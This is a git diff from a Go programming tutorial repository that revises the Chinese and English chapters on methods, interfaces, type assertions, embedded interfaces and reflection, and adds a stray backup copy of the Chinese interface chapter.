boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) + } + +上面的代码通过const定义了一些常量,然后定义了一些自定义类型 + +- Color作为byte的别名 +- 定义了一个struct:Box,含有三个长宽高字段和一个颜色属性 +- 定义了一个slice:BoxList,含有Box + +然后以上面的自定义类型为接收者定义了一些method + +- Volume()定义了接收者为Box,返回Box的容量 +- SetColor(c Color),把Box的颜色改为c +- BiggestColor()定在在BoxList上面,返回list里面容量最大的颜色 +- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色 +- String()定义在Color上面,返回Color的具体颜色(字符串格式) + +上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。 + +### 指针作为receiver +现在让我们回过头来看看SetColor这个method,它的receiver是一个指向Box的指针,是的,你可以使用*Box。想想为啥要使用指针而不是Box本身呢? + +我们定义SetColor的真正目的是想改变这个Box的颜色,如果不传Box的指针,那么SetColor接受的其实是Box的一个copy,也就是说method内对于颜色值的修改,其实只作用于Box的copy,而不是真正的Box。所以我们需要传入指针。 + +这里可以把receiver当作method的第一个参数来看,然后结合前面函数讲解的传值和传引用就不难理解 + +这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。 + +你是对的,其实Go里面这两种方式都是正确的,当你用指针去访问相应的字段时(虽然指针没有任何的字段),Go知道你要通过指针去获取这个值,看到了吧,Go的设计是不是越来越吸引你了。 + +也许细心的读者会问这样的问题,PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`,因为SetColor的receiver是*Box,而不是Box。 + +你又说对的,这两种方式都可以,因为Go知道receiver是指针,他自动帮你转了。 + +也就是说: +>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method,而不需要&V去调用这个method + +类似的 +>如果一个method的receiver是T,你可以在一个*T类型的变量P上面调用这个method,而不需要 *P去调用这个method + +所以,你不用担心你是调用的指针的method还是不是指针的method,Go知道你要做的一切,这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。 + +### method继承 +前面一章我们学习了字段的继承,那么你也会发现Go的一个神奇之处,method也是可以继承的。如果匿名字段实现了一个method,那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名字段 + school string + } + + type Employee struct { + Human //匿名字段 + company string + } + + //在human上面定义了一个method + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +### method重写 +上面的例子中,如果Employee想要实现自己的SayHi,怎么办?简单,和匿名字段冲突一样的道理,我们可以在Employee上面定义一个method,重写了匿名字段的方法。请看下面的例子 + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名字段 + school string + } + + type Employee struct { + Human //匿名字段 + company string + } + + //Human定义method + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + //Employee的method重写Human的method + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func main() { + mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} + sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} + + mark.SayHi() + sam.SayHi() + } + +上面的代码设计的是如此的美妙,让人不自觉的为Go的设计惊叹! + +通过这些内容,我们可以设计出基本的面向对象的程序了,但是Go里面的面向对象是如此的简单,没有任何的私有、公有关键字,通过大小写来实现(大写开头的为公有,小写开头的为私有),方法也同样适用这个原则。 +## links + * [目录]() + * 上一章: [struct类型](<02.4.md>) + * 下一节: [interface](<02.6.md>) diff --git a/en/02.6.md b/en/02.6.md index 57b38fd0..310c545f 100644 --- a/en/02.6.md +++ b/en/02.6.md @@ -1,395 +1,395 @@ -# 2.6 interface - -## interface -Go语言里面设计最精妙的应该算interface,它让面向对象,内容组织实现非常的方便,当你看完这一章,你就会被interface的巧妙设计所折服。 -### 什么是interface -简单的说,interface是一组method签名的组合,我们通过interface来定义对象的一组行为。 - -我们前面一章最后一个例子中Student和Employee都能SayHi,虽然他们的内部实现不一样,但是那不重要,重要的是他们都能`say hi` - -让我们来继续做更多的扩展,Student和Employee实现另一个方法`Sing`,然后Student实现方法BorrowMoney而Employee实现SpendSalary。 - -这样Student实现了三个方法:SayHi、Sing、BorrowMoney;而Employee实现了SayHi、Sing、SpendSalary。 - -上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interface:SayHi和Sing,也就是这两个对象是该interface类型。而Employee没有实现这个interface:SayHi、Sing和BorrowMoney,因为Employee没有实现BorrowMoney这个方法。 -### interface类型 -interface类型定义了一组方法,如果某个对象实现了某个接口的所有方法,则此对象就实现了此接口。详细的语法参考下面这个例子 - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human //匿名字段Human - school string - loan float32 - } - - type Employee struct { - Human //匿名字段Human - company string - money float32 - } - - //Human对象实现Sayhi方法 - func (h *Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - // Human对象实现Sing方法 - func (h *Human) Sing(lyrics string) { - fmt.Println("La la, la la la, la la la la la...", lyrics) - } - - //Human对象实现Guzzle方法 - func (h *Human) Guzzle(beerStein string) { - fmt.Println("Guzzle Guzzle Guzzle...", beerStein) - } - - // Employee重载Human的Sayhi方法 - func (e *Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) //此句可以分成多行 - } - - //Student实现BorrowMoney方法 - func (s *Student) BorrowMoney(amount float32) { - s.loan += amount // (again and again and...) - } - - //Employee实现SpendSalary方法 - func (e *Employee) SpendSalary(amount float32) { - e.money -= amount // More vodka please!!! Get me through the day! - } - - // 定义interface - type Men interface { - SayHi() - Sing(lyrics string) - Guzzle(beerStein string) - } - - type YoungChap interface { - SayHi() - Sing(song string) - BorrowMoney(amount float32) - } - - type ElderlyGent interface { - SayHi() - Sing(song string) - SpendSalary(amount float32) - } - -通过上面的代码我们可以知道,interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理,一个对象可以实现任意多个interface,例如上面的Student实现了Men和YoungChap两个interface。 - -最后,任意的类型都实现了空interface(我们这样定义:interface{}),也就是包含0个method的interface。 - -### interface值 -那么interface里面到底能存什么值呢?如果我们定义了一个interface的变量,那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中,我们定义了一个Men interface类型的变量m,那么m里面可以存Human、Student或者Employee值。 - -因为m能够持有这三种类型的对象,所以我们可以定义一个包含Men类型元素的slice,这个slice可以被赋予实现了Men接口的任意结构的对象,这个和我们传统意义上面的slice有所不同。 - -让我们来看一下下面这个例子: - - package main - import "fmt" - - type Human struct { - name string - age int - phone string - } - - type Student struct { - Human //匿名字段 - school string - loan float32 - } - - type Employee struct { - Human //匿名字段 - company string - money float32 - } - - //Human实现SayHi方法 - func (h Human) SayHi() { - fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) - } - - //Human实现Sing方法 - func (h Human) Sing(lyrics string) { - fmt.Println("La la la la...", lyrics) - } - - //Employee重载Human的SayHi方法 - func (e Employee) SayHi() { - fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, - e.company, e.phone) - } - - // Interface Men被Human,Student和Employee实现 - // 因为这三个类型都实现了这两个方法 - type Men interface { - SayHi() - Sing(lyrics string) - } - - func main() { - mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} - paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} - sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} - tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000} - - //定义Men类型的变量i - var i Men - - //i能存储Student - i = mike - fmt.Println("This is Mike, a Student:") - i.SayHi() - i.Sing("November rain") - - //i也能存储Employee - i = tom - fmt.Println("This is tom, an Employee:") - i.SayHi() - i.Sing("Born to be wild") - - //定义了slice Men - fmt.Println("Let's use a slice of Men and see what happens") - x := make([]Men, 3) - //这三个都是不同类型的元素,但是他们实现了interface同一个接口 - x[0], x[1], x[2] = paul, sam, mike - - for _, value := range x{ - value.SayHi() - } - } - -通过上面的代码,你会发现interface就是一组抽象方法的集合,它必须由其他非interface类型实现,而不能自我实现, Go通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。 - -### 空interface -空interface(interface{})不包含任何的method,正因为如此,所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method),但是空interface在我们需要存储任意类型的数值的时候相当有用,因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。 - - // 定义a为空接口 - var a interface{} - var i int = 5 - s := "Hello world" - // a可以存储任意类型的数值 - a = i - a = s - -一个函数把interface{}作为参数,那么他可以接受任意类型的值作为参数,如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊! -### interface函数参数 -interface的变量可以持有任意实现该interface类型的对象,这给我们编写函数(包括method)提供了一些额外的思考,我们是不是可以通过定义interface参数,让函数接受各种类型的参数。 - -举个例子:fmt.Println是我们常用的一个函数,但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件,你会看到这样一个定义: - - type Stringer interface { - String() string - } -也就是说,任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试 - - package main - import ( - "fmt" - "strconv" - ) - - type Human struct { - name string - age int - phone string - } - - // 通过这个方法 Human 实现了 fmt.Stringer - func (h Human) String() string { - return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" - } - - func main() { - Bob := Human{"Bob", 39, "000-7777-XXX"} - fmt.Println("This Human is : ", Bob) - } -现在我们再回顾一下前面的Box示例,你会发现Color结构也定义了一个method:String。其实这也是实现了fmt.Stringer这个interface,即如果需要某个类型能被fmt包以特殊的格式输出,你就必须实现Stringer这个接口。如果没有实现这个接口,fmt将以默认的方式输出。 - - //实现同样的功能 - fmt.Println("The biggest one is", boxes.BiggestsColor().String()) - fmt.Println("The biggest one is", boxes.BiggestsColor()) - -注:实现了error接口的对象(即实现了Error() string的对象),使用fmt输出时,会调用Error()方法,因此不必再定义String()方法了。 -### interface变量存储的类型 - -我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法: - -- Comma-ok断言 - - Go语言里面有一个语法,可以直接判断是否是该类型的变量: value, ok = element.(T),这里value就是变量的值,ok是一个bool类型,element是interface变量,T是断言的类型。 - - 如果element里面确实存储了T类型的数值,那么ok返回true,否则返回false。 - - 让我们通过一个例子来更加深入的理解。 - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List [] Element - - type Person struct { - name string - age int - } - - //定义了String方法,实现了fmt.Stringer - func (p Person) String() string { - return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" - } - - func main() { - list := make(List, 3) - list[0] = 1 // an int - list[1] = "Hello" // a string - list[2] = Person{"Dennis", 70} - - for index, element := range list { - if value, ok := element.(int); ok { - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - } else if value, ok := element.(string); ok { - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - } else if value, ok := element.(Person); ok { - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - } else { - fmt.Printf("list[%d] is of a different type\n", index) - } - } - } - - 是不是很简单啊,同时你是否注意到了多个if里面,还记得我前面介绍流程时讲过,if里面允许初始化变量。 - - 也许你注意到了,我们断言的类型越多,那么if else也就越多,所以才引出了下面要介绍的switch。 -- switch测试 - - 最好的讲解就是代码例子,现在让我们重写上面的这个实现 - - package main - - import ( - "fmt" - "strconv" - ) - - type Element interface{} - type List [] Element - - type Person struct { - name string - age int - } - - //打印 - func (p Person) String() string { - return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" - } - - func main() { - list := make(List, 3) - list[0] = 1 //an int - list[1] = "Hello" //a string - list[2] = Person{"Dennis", 70} - - for index, element := range list{ - switch value := element.(type) { - case int: - fmt.Printf("list[%d] is an int and its value is %d\n", index, value) - case string: - fmt.Printf("list[%d] is a string and its value is %s\n", index, value) - case Person: - fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) - default: - fmt.Println("list[%d] is of a different type", index) - } - } - } - - 这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用,如果你要在switch外面判断一个类型就使用`comma-ok`。 - -### 嵌入interface -Go里面真正吸引人的是它内置的逻辑语法,就像我们在学习Struct时学习的匿名字段,多么的优雅啊,那么相同的逻辑引入到interface里面,那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段,那么interface2隐式的包含了interface1里面的method。 - -我们可以看到源码包container/heap里面有这样的一个定义 - - type Interface interface { - sort.Interface //嵌入字段sort.Interface - Push(x interface{}) //a Push method to push elements into the heap - Pop() interface{} //a Pop elements that pops elements from the heap - } - -我们看到sort.Interface其实就是嵌入字段,把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法: - - type Interface interface { - // Len is the number of elements in the collection. - Len() int - // Less returns whether the element with index i should sort - // before the element with index j. - Less(i, j int) bool - // Swap swaps the elements with indexes i and j. - Swap(i, j int) - } - -另一个例子就是io包下面的 io.ReadWriter ,它包含了io包下面的Reader和Writer两个interface: - - // io.ReadWriter - type ReadWriter interface { - Reader - Writer - } - -### 反射 -Go语言实现了反射,所谓反射就是能检查程序在运行时的状态。我们一般用到的包是reflect包。如何运用reflect包,官方的这篇文章详细的讲解了reflect包的实现原理,[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html) - -使用reflect一般分成三步,下面简要的讲解一下:要去反射是一个类型的值(这些值都实现了空interface),首先需要把它转化成reflect对象(reflect.Type或者reflect.Value,根据不同的情况调用不同的函数)。这两种获取方式如下: - - t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素 - v := reflect.ValueOf(i) //得到实际的值,通过v我们获取存储在里面的值,还可以去改变值 - -转化为reflect对象之后我们就可以进行一些操作了,也就是将reflect对象转化成相应的值,例如 - - tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签 - name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值 - -获取反射值能返回相应的类型和数值 - - var x float64 = 3.4 - v := reflect.ValueOf(x) - fmt.Println("type:", v.Type()) - fmt.Println("kind is float64:", v.Kind() == reflect.Float64) - fmt.Println("value:", v.Float()) - -最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理。反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误 - - var x float64 = 3.4 - v := reflect.ValueOf(x) - v.SetFloat(7.1) - -如果要修改相应的值,必须这样写 - - var x float64 = 3.4 - p := reflect.ValueOf(&x) - v := p.Elem() - v.SetFloat(7.1) - -上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。 - -## links - * [目录]() - * 上一章: [面向对象](<02.5.md>) - * 下一节: [并发](<02.7.md>) +# 2.6 Interface + +## Interface + +One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation. + +### What is an interface + +In short, an interface is a set of methods that we use to define a set of actions. + +Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing. + +Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee. + +Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`. + +This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`. + +### Type of Interface + +An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface. + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + loan float32 + } + + type Employee struct { + Human + company string + money float32 + } + + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) + } + + func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) + } + + // Employee overloads Sayhi + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) + } + + func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! + } + + // define interface + type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) + } + + type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) + } + + type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) + } + +We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously. + +Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default. + +### Value of interface + +So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable. + +Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types. + + package main + + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human + school string + loan float32 + } + + type Employee struct { + Human + company string + money float32 + } + + func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) + } + + func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //Yes you can split into 2 lines here. + } + + // Interface Men implemented by Human, Student and Employee + type Men interface { + SayHi() + Sing(lyrics string) + } + + func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000} + + // define interface i + var i Men + + //i can store Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i can store Employee + i = Tom + fmt.Println("This is Tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + // slice of Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + // these three elements are different types but they all implemented interface Men + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x { + value.SayHi() + } + } + + +An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself. + +### Empty interface + +An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C. + + // define a as empty interface + var a interface{} + var i int = 5 + s := "Hello world" + // a can store value of any type + a = i + a = s + +If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty as its return value type, it can return any type. + +### Method arguments of an interface + +Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function? + +For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition. + + type Stringer interface { + String() string + } + +This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it. + + package main + + import ( + "fmt" + "strconv" + ) + + type Human struct { + name string + age int + phone string + } + + // Human implemented fmt.Stringer + func (h Human) String() string { + return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone + } + + func main() { + Bob := Human{"Bob", 39, "000-7777-XXX"} + fmt.Println("This Human is : ", Bob) + } + + +Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format. + + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + fmt.Println("The biggest one is", boxes.BiggestsColor()) + +Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point. + +### Type of variable in an interface + +If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you. + +- Assertion of Comma-ok pattern + +Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of assertion. + +If the element is the type that we expect, ok will be true, false otherwise. + +Let's use an example to see more clearly. + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List []Element + + type Person struct { + name string + age int + } + + func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } + } + +It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`. + +- switch test + +Let's use `switch` to rewrite the above example. + + package main + + import ( + "fmt" + "strconv" + ) + + type Element interface{} + type List []Element + + type Person struct { + name string + age int + } + + func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" + } + + func main() { + list := make(List, 3) + list[0] = 1 //an int + list[1] = "Hello" //a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + switch value := element.(type) { + case int: + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } + } + + +One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern . + +### Embedded interfaces + +The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will have as if it has all the methods that the embedded interface has. + +We can see that the source file in `container/heap` has the following definition: + + type Interface interface { + sort.Interface // embedded sort.Interface + Push(x interface{}) //a Push method to push elements into the heap + Pop() interface{} //a Pop elements that pops elements from the heap + } + +We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly. + + type Interface interface { + // Len is the number of elements in the collection. + Len() int + // Less returns whether the element with index i should sort + // before the element with index j. + Less(i, j int) bool + // Swap swaps the elements with indexes i and j. + Swap(i, j int) + } + +Another example is the `io.ReadWriter` in package `io`. + + // io.ReadWriter + type ReadWriter interface { + Reader + Writer + } + +### Reflection + +Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go. + +There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation). + + t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements + v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value + +After that, we can convert the reflected types to get the values that we need. + + var x float64 = 3.4 + v := reflect.ValueOf(x) + fmt.Println("type:", v.Type()) + fmt.Println("kind is float64:", v.Kind() == reflect.Float64) + fmt.Println("value:", v.Float()) + +Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile. + + var x float64 = 3.4 + v := reflect.ValueOf(x) + v.SetFloat(7.1) + +Instead, we must use the following code to change the values from reflect types. + + var x float64 = 3.4 + p := reflect.ValueOf(&x) + v := p.Elem() + v.SetFloat(7.1) + +We have just discussed the basics of reflection, however you must practice more in order to understand more. + +## Links + +- [Directory](preface.md) +- Previous section: [Object-oriented](02.5.md) +- Next section: [Concurrency](02.7.md) diff --git a/en/02.6.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.6.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..f9d62701 --- /dev/null +++ b/en/02.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,395 @@ +# 2.6 interface + +## interface +Go语言里面设计最精妙的应该算interface,它让面向对象,内容组织实现非常的方便,当你看完这一章,你就会被interface的巧妙设计所折服。 +### 什么是interface +简单的说,interface是一组method签名的组合,我们通过interface来定义对象的一组行为。 + +我们前面一章最后一个例子中Student和Employee都能SayHi,虽然他们的内部实现不一样,但是那不重要,重要的是他们都能`say hi` + +让我们来继续做更多的扩展,Student和Employee实现另一个方法`Sing`,然后Student实现方法BorrowMoney而Employee实现SpendSalary。 + +这样Student实现了三个方法:SayHi、Sing、BorrowMoney;而Employee实现了SayHi、Sing、SpendSalary。 + +上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interface:SayHi和Sing,也就是这两个对象是该interface类型。而Employee没有实现这个interface:SayHi、Sing和BorrowMoney,因为Employee没有实现BorrowMoney这个方法。 +### interface类型 +interface类型定义了一组方法,如果某个对象实现了某个接口的所有方法,则此对象就实现了此接口。详细的语法参考下面这个例子 + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名字段Human + school string + loan float32 + } + + type Employee struct { + Human //匿名字段Human + company string + money float32 + } + + //Human对象实现Sayhi方法 + func (h *Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + // Human对象实现Sing方法 + func (h *Human) Sing(lyrics string) { + fmt.Println("La la, la la la, la la la la la...", lyrics) + } + + //Human对象实现Guzzle方法 + func (h *Human) Guzzle(beerStein string) { + fmt.Println("Guzzle Guzzle Guzzle...", beerStein) + } + + // Employee重载Human的Sayhi方法 + func (e *Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) //此句可以分成多行 + } + + //Student实现BorrowMoney方法 + func (s *Student) BorrowMoney(amount float32) { + s.loan += amount // (again and again and...) + } + + //Employee实现SpendSalary方法 + func (e *Employee) SpendSalary(amount float32) { + e.money -= amount // More vodka please!!! Get me through the day! + } + + // 定义interface + type Men interface { + SayHi() + Sing(lyrics string) + Guzzle(beerStein string) + } + + type YoungChap interface { + SayHi() + Sing(song string) + BorrowMoney(amount float32) + } + + type ElderlyGent interface { + SayHi() + Sing(song string) + SpendSalary(amount float32) + } + +通过上面的代码我们可以知道,interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理,一个对象可以实现任意多个interface,例如上面的Student实现了Men和YoungChap两个interface。 + +最后,任意的类型都实现了空interface(我们这样定义:interface{}),也就是包含0个method的interface。 + +### interface值 +那么interface里面到底能存什么值呢?如果我们定义了一个interface的变量,那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中,我们定义了一个Men interface类型的变量m,那么m里面可以存Human、Student或者Employee值。 + +因为m能够持有这三种类型的对象,所以我们可以定义一个包含Men类型元素的slice,这个slice可以被赋予实现了Men接口的任意结构的对象,这个和我们传统意义上面的slice有所不同。 + +让我们来看一下下面这个例子: + + package main + import "fmt" + + type Human struct { + name string + age int + phone string + } + + type Student struct { + Human //匿名字段 + school string + loan float32 + } + + type Employee struct { + Human //匿名字段 + company string + money float32 + } + + //Human实现SayHi方法 + func (h Human) SayHi() { + fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) + } + + //Human实现Sing方法 + func (h Human) Sing(lyrics string) { + fmt.Println("La la la la...", lyrics) + } + + //Employee重载Human的SayHi方法 + func (e Employee) SayHi() { + fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, + e.company, e.phone) + } + + // Interface Men被Human,Student和Employee实现 + // 因为这三个类型都实现了这两个方法 + type Men interface { + SayHi() + Sing(lyrics string) + } + + func main() { + mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} + paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} + sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} + tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000} + + //定义Men类型的变量i + var i Men + + //i能存储Student + i = mike + fmt.Println("This is Mike, a Student:") + i.SayHi() + i.Sing("November rain") + + //i也能存储Employee + i = tom + fmt.Println("This is tom, an Employee:") + i.SayHi() + i.Sing("Born to be wild") + + //定义了slice Men + fmt.Println("Let's use a slice of Men and see what happens") + x := make([]Men, 3) + //这三个都是不同类型的元素,但是他们实现了interface同一个接口 + x[0], x[1], x[2] = paul, sam, mike + + for _, value := range x{ + value.SayHi() + } + } + +通过上面的代码,你会发现interface就是一组抽象方法的集合,它必须由其他非interface类型实现,而不能自我实现, Go通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。 + +### 空interface 